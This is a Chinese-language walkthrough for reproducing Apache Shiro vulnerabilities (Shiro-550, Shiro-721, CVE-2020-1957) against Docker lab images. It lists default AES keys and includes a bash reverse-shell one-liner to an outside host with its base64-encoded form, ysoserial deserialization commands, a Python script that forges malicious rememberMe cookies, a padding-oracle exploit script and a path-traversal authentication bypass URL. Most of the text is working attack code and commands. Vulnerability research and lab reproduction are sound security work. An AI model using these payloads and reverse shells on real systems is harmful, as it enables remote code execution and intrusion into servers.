Shiro 漏洞复现
shiro是什么?
ApacheShiro是一个灵活且全面的Java安全框架,它为现代应用程序提供了认证、授权、加密和会话管理等核心安全功能。
shiro组件识别
1.在访问及登录时抓包,如果响应头 set-cookie 中显示 rememberMe=deleteMe,说明使用了 Shiro 组件。
2.有时 Shiro 会在响应中设置特定的cookie 名称,例如 shiroCookie。
Shiro-550(CVE-2016-4437反序列化漏洞)
shiro采用AES加密,通常情况下不可解密,但是会存在一个初始秘钥,而大多数人不会更改秘钥(key),那么加密就形同虚设影响版本:Apachee Shiro <= 1.2.4
- 常见的key:
kPH+bIxk5D2deZiIxcaaaA== (1.2.4默认key)
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
3AvVhmFLUs0KTA3Kprsdag==
wGiHplamyXlVB11UXWol8g==
Z3VucwAAAAAAAAAAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
ZUdsaGJuSmxibVI2ZHc9PQ==
1QWLxg+NYmxraMoxAXu/Iw==
- 使用docker搭建环境:
# 拉取镜像
docker pull medicean/vulapps:s_shiro_1
# 启动容器
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
- 检测是否存在默认的key
# 工具
https://github.com/StarkChristmas/Shiro_exploit# 使用命令
python shiro_exploit.py -u http://靶机:端口
- 这里得到
AES
秘钥
CipherKey:r0e3c16IdVkouZgk1TKVMg==
- 确认反弹shell语句(在java中要base64编码)
# 原本的语句
bash -i >& /dev/tcp/8.8.8.8/6666 0>&1# base64编码(中间要去空格)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguOC44LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
通过ysoserial
这个工具中JRMP监听模块,攻击机监听9999端口并执行反弹shell命令
# `ysoserial下载
https://github.com/frohoff/ysoserial/releases/tag/v0.0.
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 10998 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguOC44LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
- 准备一个脚本
shiro_poc.py
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AESdef encode_rememberme(command):popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")iv = uuid.uuid4().bytesencryptor = AES.new(key, AES.MODE_CBC, iv)file_body = pad(popen.stdout.read())return base64.b64encode(iv + encryptor.encrypt(file_body))if __name__ == '__main__':if not sys.argv[1:]:print(f'Usage: {sys.argv[0]} <payload>')sys.exit(1)payload = encode_rememberme(sys.argv[1])print("[+] Payload: ")print("rememberMe={0}".format(payload.decode()))
- 脚本生成payload,端口为先前监听的
9999
python shiro_poc_test.py 攻击机ip:9999
- bp 抓取shiro任意用户登录之后的任意请求,把构造的cookie值替换掉请求中的cookie 值(发送前攻击机监听6666端口)
- 成功得到
shell
Shir0-721漏洞利用
由于 Apache Shirocookie 中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过PaddingOracle加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行影响版本:Apache Shiro<= 1.4.1(需要一个登录账号,漏洞必须登录才能利用)
环境搭建
git clone https://github.com/inspiringz/Shiro-721.gitcd Shiro-721/Dockerdocker build -t shiro-721 .docker run -p 8080:8080 -d shiro-721
漏洞利用
- 登录Shiro测试账户获取合法Cookie(勾选 Remember Me)
- 如果登录成功则不会设置deleteMe的cookie
- 如果失败时会设置deleteMe的cookie
- 反序列化工具
ysoserial
生成Payload
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" > eval.class
- 创建一个python脚本遍历key,命名为
exp.py
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib.parse import unquote
import requests
import socket
import time
import sys
import loggingclass PadBuster(PaddingOracle):def __init__(self, **kwargs):super(PadBuster, self).__init__(**kwargs)self.session = requests.Session()# self.session.cookies['JSESSIONID'] = '18fa0f91-625b-4d8b-87db-65cdeff153d0'self.wait = kwargs.get('wait', 2.0)def oracle(self, data, **kwargs):somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)self.session.cookies['rememberMe'] = somecookie.decode('utf-8')if self.session.cookies.get('JSESSIONID'):del self.session.cookies['JSESSIONID']# logging.debug(self.session.cookies)while 1:try:response = self.session.get(sys.argv[1], stream=False, timeout=5, verify=False)breakexcept (socket.error, requests.exceptions.RequestException):logging.exception('Retrying request in %.2f seconds...', self.wait)time.sleep(self.wait)continueself.history.append(response)# logging.debug(response.headers)if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):logging.debug('No padding exception raised on %r', somecookie)return# logging.debug("Padding exception")raise BadPaddingExceptionif __name__ == '__main__':if not sys.argv[3:]:print(f'Usage: {sys.argv[0]} <url> <somecookie value> <payload>')sys.exit(1)logging.basicConfig(level=logging.DEBUG)encrypted_cookie = b64decode(unquote(sys.argv[2]))padbuster = PadBuster()payload = open(sys.argv[3], 'rb').read()enc = padbuster.encrypt(plaintext=payload, block_size=16)# cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))# print('Decrypted somecookie: %s => %r' % (sys.argv[1], enc))print('rememberMe cookies:')print(b64encode(enc))
- 使用脚本(需要python2的环境,大约需要运行1个小时),最后替换cookie即可
python exp.py 靶机URL 登录好的cookie 生成的payload
- 这个漏洞在实际中很难遇到,因为在 1.2.4 版本后,shiro 已经更换
AES-CBC
为AES-GCM
,无法进行遍历,而且需要一个正确的账号获得cookie,这里不再演示
Apache SShiro认证绕过漏洞(CVE-2020-1957)
- 访问
http://your-ip:8080/admin/
,发现无法访问,会重定向到登录页面
- 访问
http://your-ip:8080/xxx/..;/admin/
可以绕过校验